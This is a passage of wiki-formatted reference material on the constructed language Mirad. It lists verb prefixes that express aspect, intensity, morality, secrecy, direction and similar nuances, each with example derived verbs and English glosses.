::* '''tamer'''....''to dwell'' → '''&lt;u&gt;yan&lt;/u&gt;tamer'''....''to &lt;u&gt;co&lt;/u&gt;habit''
::* '''napber'''....''to put in order'' → '''&lt;u&gt;yan&lt;/u&gt;napber'''....''to &lt;u&gt;co&lt;/u&gt;ordinate''

=== Making Verbs Completive with '''ik-''' ===
: Verbs can be made completive or perfective by prefixing them with '''ik-''' (''fully'').  Such verbs are comparable to phrasal verbs in English with ''up'' and other prepositions as in ''to eat up''.  Here are some examples in Mirad:
::* '''tojber'''....''to kill'' → '''iktojber'''....''to kill off, exterminate''
::* '''telier'''....''to eat'' → '''iktelier'''....''to eat up''
::* '''ujber'''....''to finish'' → '''ikujber'''....''to finish off/up''
::* '''gofler'''....''to rip'' → '''ikgofler'''....''to rip up''
::* '''drer'''....''to write'' → '''ikdrer'''....''to write down''
::* '''byexer'''....''to beat'' → '''ikbyexer'''....''to beat up''
::* '''agser'''....''to grow'' → '''ikagser'''....''to grow up''

=== Making Verbs Continuative with '''je-''' ===
: Verbs can be given a continuative nuance with the addition of the prefix '''je-''':
::* '''daler'''....''to talk'' → '''jedalar'''....''to go on talking, to blabber''
::* '''tejer'''....''to live'' → '''jetejer'''....''to go on living, to survive''
::* '''yexer'''....''to work'' → '''jeyexer'''....''to go on working, to keep working''
::* '''teaxer'''....''to look'' → '''jeteaxer'''....''to watch''
::* '''teexer'''....''to listen'' → '''jeteexer'''....''to keep listening, to pay attention''
::* '''duler'''....''to insist'' → '''jeduler'''....''to nag''

=== Making Verbs Inchoative with '''ij-''' ===
: Verbs can be given an inchoative nuance with the addition of the prefix '''ij-''':
::* '''texer'''....''to think'' → '''ijtexer'''....''to start to think''
::* '''ifier'''....''to enjoy'' → '''ijifier'''....''to start liking''
::* '''trer'''....''to know'' → '''ijtrer'''....''to get to know''
::* '''baxer'''....''to stir'' → '''ijbaxer'''....''to instigate''
::* '''byaxer'''....''to erect'' → '''ijbyaxer'''....''to establish, to institute''
::* '''dezer'''....''to perform'' → '''ijdezer'''....''to premier, to debut''
::* '''eser'''....''to exist'' → '''ijeser'''....''to come about''
::* '''kaxer'''....''to find'' → '''ijkaxer'''....''to invent''
::* '''magxer'''....''to burn'' → '''ijmagxer'''....''to kindle''
::* '''saxer'''....''to make'' → '''ijsaxer'''....''to create''
::* '''texer'''....''to think'' → '''ijtexer'''....''to conceive''
::* '''tuxer'''....''to teach'' → '''ijtuxer'''....''to initiate''
::* '''xeler'''....''to celebrate'' → '''ijxeler'''....''to inaugurate''

=== Making Verbs Terminative with '''uj-''' ===
: Verbs can be given a terminative nuance with the addition of the prefix '''uj-''':
::* '''telier'''....''to eat'' → '''ujtelier'''....''to finish eating''
::* '''dyeer'''....''to read'' → '''ujdyeer'''....''to finish reading''
::* '''ufteuder'''....''to complain'' → '''ujufteuder'''....''to quit carping''
::* '''aker'''....''to win'' → '''ujaker'''....''to succeed''
::* '''der'''....''to say'' → '''ujder'''....''to conclude''
::* '''gaber'''....''to add'' → '''ujgaber'''....''to append, to added at the end''
::* '''gyoxer'''....''to thin'' → '''ujgyoxer'''....''to taper''
::* '''kyeser'''....''to happen'' → '''ujkyeser'''....''to turn out''
::* '''oker'''....''to lose'' → '''ujoker'''....''to fail''

=== Giving Verbs a Nuance of Pleasure with '''if-''' ===
::* '''tyoper'''....''to walk'' → '''iftyoper'''....''to stroll''
::* '''tuyuxer'''....''to finger'' → '''iftuyuxer'''....''to tickle''
::* '''teaxer'''....''to look'' → '''ifteaxer'''....''to ogle (voyeuristically)''
::* '''piper'''....''to sail'' → '''ifpiper'''....''to go cruising''
::* '''teuder'''....''to shout'' → '''ifteuder'''....''to laugh''
::* '''eker'''....''to play'' → '''ifeker'''....''to have fun''
::* '''abbaxer'''....''to pat'' → '''ifabbaxer'''....''to fondle, to caress''
::* '''axler'''....''to act'' → '''ifaxler'''....''to have fun''
::* '''bier'''....''to take'' → '''ifbier'''....''to embrace, to adopt, to foster''
::* '''buer'''....''to give'' → '''ifbuer'''....''to donate, to gift''
::* '''bikuer'''....''to care for'' → '''ifbikuer'''....''to foster''
::* '''bixer'''....''to pull'' → '''ifbixer'''....''to entice, to tempt, to seduce''
::* '''ebdaler'''....''to converse'' → '''ifebdaler'''....''to chitchat''
::* '''mimparer'''....''to go boating'' → '''ifmimparer'''....''to go yachting''
::* '''tayoxer'''....''to touch'' → '''iftayoxer'''....''to tickle, to titillate''
::* '''teaxer'''....''to look at'' → '''ifteaxer'''....''to ogle, to feast one's eyes on, to moon over''
::* '''telier'''....''to eat'' → '''iftelier'''....''to feast on''
::* '''tyoper'''....''to walk'' → '''iftyoper'''....''to stroll, to jaunt, to promenade''

=== Giving Verbs a Nuance of Displeasure with '''uf-''' ===
::* '''tosier'''....''to feel'' → '''uftosier'''....''to get angry''
::* '''eker'''....''to play'' → '''ufeker'''....''to fight''
::* '''der'''....''to say'' → '''ufder'''....''to express displeasure''
::* '''aluer'''....''to exhale'' → '''ufaluer'''....''to huff''
::* '''daler'''....''to talk'' → '''ufdaler'''....''to rant''
::* '''teaxer'''....''to look at'' → '''ufteaxer'''....''to scorn, to disdain''
::* '''teuber'''....''to make an expression'' → '''ufteuber'''....''to frown''
::* '''teuder'''....''to shout'' → '''ufteuder'''....''to grouse, to gripe''

=== Giving Verbs a Nuance of Prohibition with '''of-''' ===
::* '''bier'''....''to take'' → '''ofbier'''....''to steal''
::* '''deler'''....''to declare'' → '''ofdeler'''....''to ban''
::* '''yeper'''....''to enter'' → '''ofyeper'''....''to intrude, break in''
::* '''zeyper'''....''to cross'' → '''ofzeyper'''....''to transgress, poach''
::* '''gelxer'''....''to copy'' → '''ofgelxer'''....''to pirate, plagiarize''
::* '''bekuluer'''....''to administer medicine'' → '''ofbekuluer'''....''to dope''
::* '''nuxuer'''....''to pay'' → '''ofnuxuer'''....''to bribe, pay off, suborn''

=== Giving Verbs a Nuance of Holiness with '''fya-''' ===
::* '''bexler'''....''to keep'' → '''fyabexler'''....''to enshrine''
::* '''buer'''....''to give'' → '''fyabuer'''....''to sacrifice''
::* '''der'''....''to say'' → '''fyader'''....''to bless''
::* '''daler'''....''to speak'' → '''fyadaler'''....''to preach, sermonize''
::* '''diler'''....''to request'' → '''fyadiler'''....''to pray''
::* '''deuzer'''....''to sing'' → '''fyadeuzer'''....''to chant''
::* '''ifrer'''....''to love dearly'' → '''fyaifrer'''....''to worship, adore''
::* '''jader'''....''to predict'' → '''fyajader'''....''to prophesy''
::* '''miluer'''....''to sprinkle'' → '''fyamiluer'''....''to sprinkle with holy water''
::* '''ojvader'''....''to promise'' → '''fyaojvader'''....''to swear''
::* '''xeler'''....''to practice'' → '''fyaxeler'''....''to celebrate''
::* '''koser'''....''to hide'' → '''fyakoser'''....''to go on a retreat, go into hermitage''
::* '''teazer'''....''perform a show'' → '''fyateazer'''....''to perform a miracle''

=== Giving Verbs a Nuance of Profanity with '''fyo-''' ===
::* '''der'''....''to say'' → '''fyoder'''....''to curse''
::* '''diler'''....''to request'' → '''fyodiler'''....''to conjure''
::* '''tyezer'''....''to perform magic'' → '''fyotezer'''....''to engage in black magic''
::* '''xer'''....''to do'' → '''fyoxer'''....''to sin''
=== Expressing Good Actions with '''fi-''' ===
::* '''agser'''....''to grow'' → '''fiagser'''....''to thrive, to flourish''
::* '''axler'''....''to act'' → '''fiaxler'''....''to behave well''
::* '''der'''....''to say'' → '''fider'''....''to praise''
::* '''deler'''....''to declare'' → '''fideler'''....''to approve''
::* '''datiber'''....''to host'' → '''fidatiber'''....''to welcome''
::* '''diber'''....''to manage'' → '''fidiber'''....''to husband''
::* '''doler'''....''to be silent'' → '''fidoler'''....''to be discrete''
::* '''duer'''....''to suggest'' → '''fiduer'''....''to recommend''
::* '''ebexler'''....''to interact'' → '''fiebexler'''....''to get along well''
::* '''exer'''....''to operate'' → '''fiexer'''....''to operate smoothly''
::* '''fer'''....''to want'' → '''fifer'''....''to mean well''
::* '''ijer'''....''to start'' → '''fiijer'''....''to get a good start''
::* '''nagser'''....''to measure'' → '''finagser'''....''to adapt''
::* '''napxer'''....''to arrange'' → '''finapxer'''....''to tidy up, to neaten''
::* '''ojfer'''....''to wish'' → '''fiojfer'''....''to wish well''
::* '''per'''....''to go'' → '''fiper'''....''to fare well, to prosper''
::* '''teaser'''....''to seem'' → '''fiteaser'''....''to look nice''
::* '''teaxer'''....''to look at'' → '''fiteaxer'''....''to admire''
::* '''tejer'''....''to live'' → '''fitejer'''....''to thrive''
::* '''teuder'''....''to shout'' → '''fiteuder'''....''to acclaim, to laud''
::* '''tosuer'''....''to make feel'' → '''fitosuer'''....''to exhilarate''
::* '''tujer'''....''to sleep'' → '''fitujer'''....''to sleep soundly''
::* '''yaker'''....''to expect'' → '''fiyaker'''....''to hope''
::* '''yuxer'''....''to help'' → '''fiyuxer'''....''to benefit''
::* '''xer'''....''to do'' → '''fixer'''....''to do well''

=== Expressing Bad Actions with '''fu-''' ===
::* '''axler'''....''to act'' → '''fuaxler'''....''to misbehave''
::* '''bekuer'''....''to treat'' → '''fubekuer'''....''to mistreat, to maltreat''
::* '''bexer'''....''to hold'' → '''fubexer'''....''to fumble''
::* '''bikuer'''....''to care for'' → '''fubikuer'''....''to neglect''
::* '''daler'''....''to talk'' → '''fudaler'''....''to speak ill of, to badmouth''
::* '''deler'''....''to declare'' → '''fudeler''''....''to denounce''
::* '''diber'''....''to manage'' → '''fudiber'''....''to mismanage, to maladminister''
::* '''doler'''....''to be quiet'' → '''fudoler'''....''to sulk''
::* '''dezgonuer'''....''to cast'' → '''fudezgonuer'''....''to miscast''
::* '''exer'''....''to function'' → '''fuexer'''....''to malfunction''
::* '''fer'''....''to want'' → '''fufer'''....''to wish ill''
::* '''fyiduer'''....''to advise'' → '''fufyiduer'''....''to ill-advise''
::* '''napxer'''....''to arrange'' → '''funapxer'''....''to mess up''
::* '''yevder'''....''to judge'' → '''fuyevder'''....''to critique negatively''
::* '''yuxer'''....''to help'' → '''fuyuxer'''....''to abuse''

=== Expressing More Intense Actions with '''az-''' ===
::* '''abbixer'''....''to attract'' → '''&lt;u&gt;az&lt;/u&gt;abbixer'''....''to infatuate''
::* '''aluer'''....''to blow'' → '''&lt;u&gt;az&lt;/u&gt;aluer'''....''to huff''
::* '''basrer'''....''to shake'' → '''&lt;u&gt;az&lt;/u&gt;basrer'''....''to convulse''
::* '''bexer'''....''to hold'' → '''&lt;u&gt;az&lt;/u&gt;bexer'''....''to clutch''
::* '''birer'''....''to grab''' → '''&lt;u&gt;az&lt;/u&gt;birer'''....''to seize''
::* '''buxer'''....''to push''' → '''&lt;u&gt;az&lt;/u&gt;buxer'''....''to prod''
::* '''byexer'''....''to strike'' → '''&lt;u&gt;az&lt;/u&gt;byexer'''....''to stomp, to hit hard''
::* '''der'''....''to say'' → '''&lt;u&gt;az&lt;/u&gt;der'''....''to emphasize''
::* '''duer'''....''to suggest'' → '''&lt;u&gt;az&lt;/u&gt;duer'''....''to urge''
::* '''dizeuder'''....''to laugh'' → '''&lt;u&gt;az&lt;/u&gt;dizeuder'''....''to guffaw''
::* '''fer'''....''to want'' → '''&lt;u&gt;az&lt;/u&gt;fer'''....''to crave''
::* '''fuyevder'''....''to criticize'' → '''&lt;u&gt;az&lt;/u&gt;fuyevder'''....''to lambaste''
::* '''yujber'''....''to close'' → '''&lt;u&gt;az&lt;/u&gt;yujber'''....''to lock''

=== Expressing Less Intense Actions with '''oz-''' ===
::* '''der'''....''to utter'' → '''&lt;u&gt;oz&lt;/u&gt;der'''....''to whisper''
::* '''duer'''....''to suggest'' → '''&lt;u&gt;oz&lt;/u&gt;duer'''....''to hint''
::* '''dizeuder'''....''to laugh'' → '''&lt;u&gt;oz&lt;/u&gt;dizeuder'''....''to chuckle''
::* '''uvteuder'''....''to moan'' → '''&lt;u&gt;oz&lt;/u&gt;uvteuder'''....''to whimper''
::* '''tyoper'''....''to walk'' → '''&lt;u&gt;oz&lt;/u&gt;tyoper'''....''to limp''
=== Expressing ''pre-, fore-'' with '''ja-''' ===
::* '''der'''....''to tell'' → '''&lt;u&gt;ja&lt;/u&gt;der'''....''to foretell, predict''
::* '''teater'''....''to see'' → '''&lt;u&gt;ja&lt;/u&gt;teater'''....''to foresee, preview''
::* '''ter'''....''to know'' → '''&lt;u&gt;ja&lt;/u&gt;ter'''....''to presage, have foreknowledge of''
::* '''yever'''....''to judge'' → '''&lt;u&gt;ja&lt;/u&gt;yever'''....''to prejudge''
::* '''juder'''....''to date'' → '''&lt;u&gt;ja&lt;/u&gt;juder'''....''to antedate''
=== Expressing ''post-, after-'' with '''jo-''' ===
::* '''juder'''....''to date'' → '''&lt;u&gt;jo&lt;/u&gt;juder'''....''to postdate''
::* '''texer'''....''to think'' → '''&lt;u&gt;jo&lt;/u&gt;texer'''....''to reflect on, review''
::* '''uvder'''....''to express sadness'' → '''&lt;u&gt;jo&lt;/u&gt;uvder'''....''to mourn, regret''
::* '''ibler'''....''to obtain'' → '''&lt;u&gt;jo&lt;/u&gt;ibler'''....''to inherit''

=== Expressing ''excessively'' with '''gra-''' ===
::* '''telier'''....''to eat'' → '''&lt;u&gt;gra&lt;/u&gt;telier'''....''to overeat''
::* '''fer'''....''to want'' → '''&lt;u&gt;gra&lt;/u&gt;fer'''....''to covet''
::* '''der'''....''to say'' → '''&lt;u&gt;gra&lt;/u&gt;der'''....''to exaggerate''
::* '''daler'''....''to talk'' → '''&lt;u&gt;gra&lt;/u&gt;daler'''....''to yammer''

=== Expressing ''inadequately'' with '''gro-''' ===
::* '''fyinder'''....''to value'' → '''&lt;u&gt;gro&lt;/u&gt;fyinder'''....''to underestimate''
::* '''mageler'''....''to cook'' → '''&lt;u&gt;gro&lt;/u&gt;mageler'''....''to undercook''
::* '''xaer'''....''to perform'' → '''&lt;u&gt;gro&lt;/u&gt;xaer'''....''to underperform''

=== Expressing ''counter-, contra-'' with '''ov-''' or '''oyv-''' ===
::* '''axler'''....''to act''  → '''&lt;u&gt;ov&lt;/u&gt;axler'''....''to counteract''
::* '''apyexer'''....''to attack'' → '''&lt;u&gt;ov&lt;/u&gt;apyexer'''....''to counterattack''
::* '''daler'''....''to speak'' → '''&lt;u&gt;ov&lt;/u&gt;daler'''....''to oppose''
::* '''der'''....''to say'' → '''&lt;u&gt;oyv&lt;/u&gt;der'''....''to contradict''
::* '''ber'''....''to put'' → '''&lt;u&gt;oyv&lt;/u&gt;ber'''....''to reverse, overturn''
::* '''texer'''....''to think''  → '''&lt;u&gt;oyv&lt;/u&gt;texer'''....''to contest, disagree''
::* '''per'''....''to go'' → '''&lt;u&gt;oyv&lt;/u&gt;per'''....''to contravene''
=== Expressing ''on behalf, for'' with '''av-''' ===
::* '''axler'''....''to act'' → '''&lt;u&gt;av&lt;/u&gt;axler'''....''to act on behalf of''
::* '''daler'''....''to speak'' → '''&lt;u&gt;av&lt;/u&gt;daler'''....''to advocate, speak on behalf of''
::* '''dyundrer'''....''to sign'' → '''&lt;u&gt;av&lt;/u&gt;dyundrer'''....''to endorse''

=== Making Verbs Reflexive with '''ut-''' (''self-, auto-'') ===
::* '''tojber'''....''to kill'' → '''&lt;u&gt;ut&lt;/u&gt;tojber'''....''to commit suicide''
::* '''vyovider'''....''to flatter'' → '''&lt;u&gt;ut&lt;/u&gt;vyovider'''....''to flatter oneself''
::* '''zaypuxwer'''....''to be propelled'' → '''&lt;u&gt;ut&lt;/u&gt;zaypuxwer'''....''to be self-propelled''
::* '''fider'''....''to praise'' → '''&lt;u&gt;ut&lt;/u&gt;fider'''....''to brag''
::* '''gober'''....''to decrement'' → '''&lt;u&gt;ut&lt;/u&gt;gober'''....''to autodecrement''
=== Making Verbs Reciprocal with '''hyuit-''' (''one another'') ===
::* '''tojber'''....''to kill'' → '''&lt;u&gt;hyuit&lt;/u&gt;tojber'''....''to kill one another''
::* '''ifer'''....''to love'' → '''&lt;u&gt;hyuit&lt;/u&gt;ifer'''....''to love one another''

=== Expressing ''inter-, intra-'' with '''eb-''' (''between'') or '''eyb-''' (''among'') ===
::* '''tadier'''....''to marry'' → '''&lt;u&gt;eb&lt;/u&gt;tadier'''....''to intermarry''
::* '''zyaber'''....''to spread'' → '''&lt;u&gt;eb&lt;/u&gt;zyaber'''....''to intersperse''
::* '''vyexer'''....''to relate'' → '''&lt;u&gt;eb&lt;/u&gt;vyexer'''....''to interrelate''
::* '''mulxer'''....''to materialize'' → '''&lt;u&gt;eyb&lt;/u&gt;mulxer'''....''to mix''
::* '''xer'''....''to do'' → '''&lt;u&gt;eyb&lt;/u&gt;xer'''....''to interest, to involve''

=== Expressing the Opposite of an Action with '''o-''' (''un-'') ===
::* '''bexler'''....''to keep'' → '''&lt;u&gt;o&lt;/u&gt;bexler'''....''to release, let go of''
::* '''aynser'''....''to integrate'' → '''&lt;u&gt;o&lt;/u&gt;aynser'''....''to disintegrate, to decay''
::* '''beler'''....''to carry'' → '''&lt;u&gt;o&lt;/u&gt;beler'''....''to drop''
::* '''bier'''....''to take'' → '''&lt;u&gt;o&lt;/u&gt;bier'''....''to leave, relinquish''
::* '''boser'''....''to be quiet'' → '''&lt;u&gt;o&lt;/u&gt;boser'''....''to be upset''
::* '''drer'''....''to write'' → '''&lt;u&gt;o&lt;/u&gt;drer'''....''to erase''

::&lt;small&gt;Note: If the base verb already begins with the negative prefix '''o-''', then the prefix is changed to '''ol-''', eg. '''obexler'''....''to release'' → '''&lt;u&gt;ol&lt;/u&gt;obexwa'''....''to unrelease''  &lt;/small&gt;

=== Expressing a Public or Official Action with '''do-''' ===
:: '''Do-''' is a stub for '''dot''' (''society'').

::* '''afder'''....''to allow'' → '''&lt;u&gt;do&lt;/u&gt;afder'''....''to authorize''
::* '''bier'''....''to take'' → '''&lt;u&gt;do&lt;/u&gt;bier'''....''to conquer, take over, take control of''
::* '''tojber'''....''to kill'' → '''&lt;u&gt;do&lt;/u&gt;tojber'''....''to execute''
::* '''buer'''....''to give'' → '''&lt;u&gt;do&lt;/u&gt;buer'''....''to dedicate''
::* '''daler'''....''to speak'' → '''&lt;u&gt;do&lt;/u&gt;daler'''....''to orate, speak in public''
::* '''deler'''....''to declare'' → '''&lt;u&gt;do&lt;/u&gt;deler'''....''to announce''
::* '''drer'''....''to write'' → '''&lt;u&gt;do&lt;/u&gt;drer'''....''to publicize, report''
::* '''direr'''....''to demand'' → '''&lt;u&gt;do&lt;/u&gt;direr'''....''to mandate, to dictate''
::* '''drer'''....''to write'' → '''&lt;u&gt;do&lt;/u&gt;drer'''....''to publicize''
::* '''drurer'''....''to print'' → '''&lt;u&gt;do&lt;/u&gt;drurer'''....''to publish''
::* '''duer'''....''to suggest'' → '''&lt;u&gt;do&lt;/u&gt;duer'''....''to propose, to move''
::* '''durer'''....''to order'' → '''&lt;u&gt;do&lt;/u&gt;durer'''....''to decree''
::* '''dyeder'''....''to recite'' → '''&lt;u&gt;do&lt;/u&gt;dyeder'''....''to declaim''
::* '''dyeer'''....''to read'' → '''&lt;u&gt;do&lt;/u&gt;dyeer'''....''to lecture''
::* '''ebdaler'''....''to discuss'' → '''&lt;u&gt;do&lt;/u&gt;ebdaler'''....''to deliberate''
::* '''eber'''....''to block'' → '''&lt;u&gt;do&lt;/u&gt;eber'''....''to enjoin, to restrain''
::* '''fuxer'''....''to do bad'' → '''&lt;u&gt;do&lt;/u&gt;fuxer'''....''to commit a crime''
::* '''kebier'''....''to choose'' → '''&lt;u&gt;do&lt;/u&gt;kebier'''....''to elect''
::* '''lonapxer'''....''to mess up'' → '''&lt;u&gt;do&lt;/u&gt;lonapxer'''....''to riot''
::* '''naxgaxer'''....''to raise prices'' → '''&lt;u&gt;do&lt;/u&gt;naxgaxer'''....''to auction off''
::* '''nixbuer'''....''to sell'' → '''&lt;u&gt;do&lt;/u&gt;nixbuer'''....''to hawk''

=== Giving Verbs a Nuance of Truth with '''vya-''' ===
::* '''der'''....''to say'' → '''&lt;u&gt;vya&lt;/u&gt;der'''....''to avow, be frank''
::* '''ber'''....''to set, put'' → '''&lt;u&gt;vya&lt;/u&gt;ber'''....''to control''
::* '''napxer'''...''to arrange, order'' → '''&lt;u&gt;vya&lt;/u&gt;napxer'''....''to adjust''
::* '''kexer'''....''to seek'' → '''&lt;u&gt;vya&lt;/u&gt;kexer'''....''to investiage''
::* '''tuer'''....''to inform'' → '''&lt;u&gt;vya&lt;/u&gt;tuer'''....''to advise''

=== Giving Verbs of Nuance of Falseness with '''vyo-''' ===
::* '''der'''....''to say'' → '''&lt;u&gt;vyo&lt;/u&gt;der'''....''to lie, to misstate''
::* '''tester'''....''to understand'' → '''&lt;u&gt;vyo&lt;/u&gt;tester'''....''to misunderstand''
::* '''tuer'''....''to inform'' → '''&lt;u&gt;vyo&lt;/u&gt;tuer'''....''to misinform, to deceive''
::* '''xer'''....''to do'' → '''&lt;u&gt;vyo&lt;/u&gt;xer'''....''to do wrong, fail, misdo''
::* '''yuxler'''....''to serve'' → '''&lt;u&gt;vyo&lt;/u&gt;yuxler'''....''to betray, to serve unfaithfully''
=== Making Verbs Positive with '''va-''' ===
::* '''der'''....''to say'' → '''&lt;u&gt;va&lt;/u&gt;der'''....''to affirm''
::* '''texer'''....''to think'' → '''&lt;u&gt;va&lt;/u&gt;texer'''....''to believe''
::* '''yeker'''....''to expect'' → '''&lt;u&gt;va&lt;/u&gt;yeker'''....''to presume''
::* '''bier'''.....''to take'' → '''&lt;u&gt;va&lt;/u&gt;bier'''....''to accept''
=== Making Verbs Negative with '''vo-''' ===
::* '''der'''....''to say'' → '''&lt;u&gt;vo&lt;/u&gt;der'''....''to deny''
::* '''texer'''....''to think'' → '''&lt;u&gt;vo&lt;/u&gt;texer'''....''to doubt''
::* '''yeker'''....''to expect'' → '''&lt;u&gt;vo&lt;/u&gt;yeker'''....''to rule out''
::* '''bier'''.....''to take'' → '''&lt;u&gt;vo&lt;/u&gt;bier'''....''to reject''
=== Making Verbs Suppositional with '''ve-''' ===
::* '''der'''....''to say'' → '''&lt;u&gt;ve&lt;/u&gt;der'''....''to conjecture''
::* '''texer'''....''to think'' → '''&lt;u&gt;ve&lt;/u&gt;texer'''....''to suppose, hypothesize''
::* '''yovder'''....''to blame'' → '''&lt;u&gt;ve&lt;/u&gt;yovder'''....''to indict, accuse''
=== Speeding up Verbs with '''ig-''' ===
::* '''pier'''....''to leave'' → '''&lt;u&gt;ig&lt;/u&gt;pier'''....''to flee''
::* '''pyoser'''....''to drop'' → '''&lt;u&gt;ig&lt;/u&gt;pyoser'''....''to plummet''
::* '''tyoper'''....''to walk'' → '''&lt;u&gt;ig&lt;/u&gt;tyoper'''....''to run''
::* '''yeper'''....''to enter'' → '''&lt;u&gt;ig&lt;/u&gt;yeper'''....''to rush in''
=== Slowing up Verbs with '''ug-''' ===
::* '''paser'''....''to move'' → '''&lt;u&gt;ug&lt;/u&gt;paser'''....''to amble''
::* '''teaxer'''....''to look'' → '''&lt;u&gt;ug&lt;/u&gt;teaxer'''....''to gaze''
::* '''ilper'''....''to flow'' → '''&lt;u&gt;ug&lt;/u&gt;ilper'''....''to trickle''
::* '''tilier'''....''to drink'' → '''&lt;u&gt;ug&lt;/u&gt;tilier'''....''to sip''
=== Expressing the Nuance of Suddenness with '''yok-''' ===
::* '''baxer'''....''to stir'' → '''&lt;u&gt;yok&lt;/u&gt;baxer'''....''to startle''
::* '''hihider'''....''to laugh'' → '''&lt;u&gt;yok&lt;/u&gt;hihider'''....''to burst out laughing''
::* '''teaser'''....''to appear'' → '''&lt;u&gt;yok&lt;/u&gt;teaser'''....''to suddenly appear''
::* '''yoktojer'''....''to die'' → '''&lt;u&gt;yok&lt;/u&gt;tojer'''....''to drop dead''
=== Expressing the Notion of Fixedness with '''kyo-''' ===
::* '''byaser'''....''to stand'' → '''&lt;u&gt;kyo&lt;/u&gt;byaser'''....''to stand still''
::* '''kexer'''....''to seek'' → '''&lt;u&gt;kyo&lt;/u&gt;kexer'''....''to hound, stalk''
::* '''teaxer'''....''to look'' → '''&lt;u&gt;kyo&lt;/u&gt;teaxer'''....''to stare, glare''
::* '''texer'''....''to think'' → '''&lt;u&gt;kyo&lt;/u&gt;texer'''....''to obsess with, fixate on''
=== Expression the Notion of Randomness or Chance with '''kye-'''===
::* '''der'''....''to say'' → '''&lt;u&gt;kye&lt;/u&gt;der'''....''to guess, divine''
::* '''per'''....''to per'' → '''&lt;u&gt;kye&lt;/u&gt;per'''....''to fluctuate''
::* '''poper'''....''to travel'' → '''&lt;u&gt;kye&lt;/u&gt;poper'''....''to wander''
::* '''napxer'''....''to order'' → '''&lt;u&gt;kye&lt;/u&gt;napxer'''....''to scramble, shuffle''
::* '''bier'''....''to take'' → '''&lt;u&gt;kye&lt;/u&gt;bier'''....''to select''
::* '''kaxer'''....''to find'' → '''&lt;u&gt;kye&lt;/u&gt;kaxer'''....''to discover, to find by chance''
::* '''vyabxer'''....''to check'' → '''&lt;u&gt;kye&lt;/u&gt;vabxer'''....''to spot check''

=== Expressing the Notion of Change with '''kya-''' ===
::* '''baser'''....''to make a move'' → '''&lt;u&gt;kya&lt;/u&gt;baser'''....''to shift''
::* '''sanxer'''....''to form'' → '''&lt;u&gt;kya&lt;/u&gt;sanxer'''....''to transform''
::* '''xer'''....''to do/make'' → '''&lt;u&gt;kya&lt;/u&gt;xer'''....''to change''
::* '''napxer'''....''to order'' → '''&lt;u&gt;kya&lt;/u&gt;napxer'''....''to shuffle''
::* '''dyanxer'''....''to phrase'' → '''&lt;u&gt;kya&lt;/u&gt;dyanxer'''....''to paraphrase''
=== Expressing Covert Actions with '''ko-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;ko&lt;/u&gt;ber'''....''to hide''
::* '''beler'''....''to carry'' → '''&lt;u&gt;ko&lt;/u&gt;beler'''....''to smuggle''
::* '''bier'''....''to take'' → '''&lt;u&gt;ko&lt;/u&gt;bier'''....''to steal''
::* '''ebkyaxer'''....''to exchange'' → '''&lt;u&gt;ko&lt;/u&gt;ebkyaxer'''....''to traffic''
::* '''exer'''....''to operate'' → '''&lt;u&gt;ko&lt;/u&gt;exer'''....''to spy, operate under cover''
::* '''fler'''....''to wish for'' → '''&lt;u&gt;ko&lt;/u&gt;fler'''....''to covet, be jealous of''
::* '''apyexer'''....''to attack'' → '''&lt;u&gt;ko&lt;/u&gt;apyexer'''....''to ambush, to sneak-attack''
::* '''loexer'''....''to destroy'' → '''&lt;u&gt;ko&lt;/u&gt;loexer'''....''to sabotage''
=== Expressing Actions with Intentionality with '''ke-''' ===
::* '''teaxer'''....''to look'' → '''&lt;u&gt;ke&lt;/u&gt;teaxer'''....''to scan''
::* '''vyaxer'''....''to prove'' → '''&lt;u&gt;ke&lt;/u&gt;vyaxer'''....''to experiment''
::* '''tier'''....''to learn'' → '''&lt;u&gt;ke&lt;/u&gt;tier'''....''to be interested in''
::* '''bier'''....''to take'' → '''&lt;u&gt;ke&lt;/u&gt;bier'''....''to choose''
::* '''pexer'''....''to catch'' → '''&lt;u&gt;ke&lt;/u&gt;pexer'''....''to hunt''

=== Expressing Lateral Actions with '''ku-''' ===
::* '''buxer'''....''to push'' → '''&lt;u&gt;ku&lt;/u&gt;buxer'''....''to rebuff, shun''
::* '''der'''....''to say'' → '''&lt;u&gt;ku&lt;/u&gt;der'''....''to comment, remark''
::* '''tyoper'''....''to step'' → '''&lt;u&gt;ku&lt;/u&gt;tyoper'''....''to step aside''
=== Expressing Diagonal Actions with '''ki-''' ===
::* '''teaxer'''....''to look'' → '''&lt;u&gt;ki&lt;/u&gt;teaxer'''....''to look askance at''
::* '''tuxer'''....''to teach'' → '''&lt;u&gt;ki&lt;/u&gt;tuxer'''....''to brainwash''
::* '''tyoper'''....''to walk'' → '''&lt;u&gt;ki&lt;/u&gt;tyoper'''....''to limp''
::* '''pyoser'''....''to fall'' → '''&lt;u&gt;ki&lt;/u&gt;pyoser'''....''to slip and fall''
::* '''per'''....''to go'' → '''&lt;u&gt;ki&lt;/u&gt;per'''....''to slide''

=== Expressing Near Actions with '''yub-'''===
::* '''der'''....''to say'' → '''&lt;u&gt;yub&lt;/u&gt;der'''....''to intimate, hint''
::* '''gexer'''....''to equate'' → '''&lt;u&gt;yub&lt;/u&gt;gexer'''....''to approximate''
::* '''bixer'''....''to pull'' → '''&lt;u&gt;yu(b)&lt;/u&gt;bixer'''....''to attract, draw near''
::* '''teaxer'''....''to look'' → '''&lt;u&gt;yub&lt;/u&gt;teaxer'''....''to scrutinize, examine''

=== Expressing Distance Actions with '''yib-''' (''far, tele-'') ===
::* '''drer'''....''to write'' → '''&lt;u&gt;yib&lt;/u&gt;drer'''....''to wire, telegraph''
::* '''bixer'''....''to pull'' → '''&lt;u&gt;yi(b)&lt;/u&gt;bixer'''....''to distract''
::* '''tuier'''....''to communicate'' → '''&lt;u&gt;yib&lt;/u&gt;tuier'''....''to telecommunicate''
::* '''nyuxer'''....''to deliver'' → '''&lt;u&gt;yib&lt;/u&gt;nyuxer'''....''to mail, post''

=== Expressing ''up-, super-'' with '''yab-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;ya(b)&lt;/u&gt;ber'''....''to raise, to put up''
::* '''bixler'''....''to drag'' → '''&lt;u&gt;ya(b)&lt;/u&gt;bixler'''....''to dredge up''
::* '''uper'''....''to come'' → '''&lt;u&gt;yab&lt;/u&gt;uper'''....''to come up''
::* '''nogyanxer'''....''to scale'' → '''&lt;u&gt;yab&lt;/u&gt;nogyanxer'''....''to scale up, escalate''

=== Expressing ''down-, sub-'' with '''yob-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;yo(b)&lt;/u&gt;ber'''....''to lower, put down''
::* '''kyaber'''....''to shift'' → '''&lt;u&gt;yob&lt;/u&gt;kyaxer'''....''to downshift''
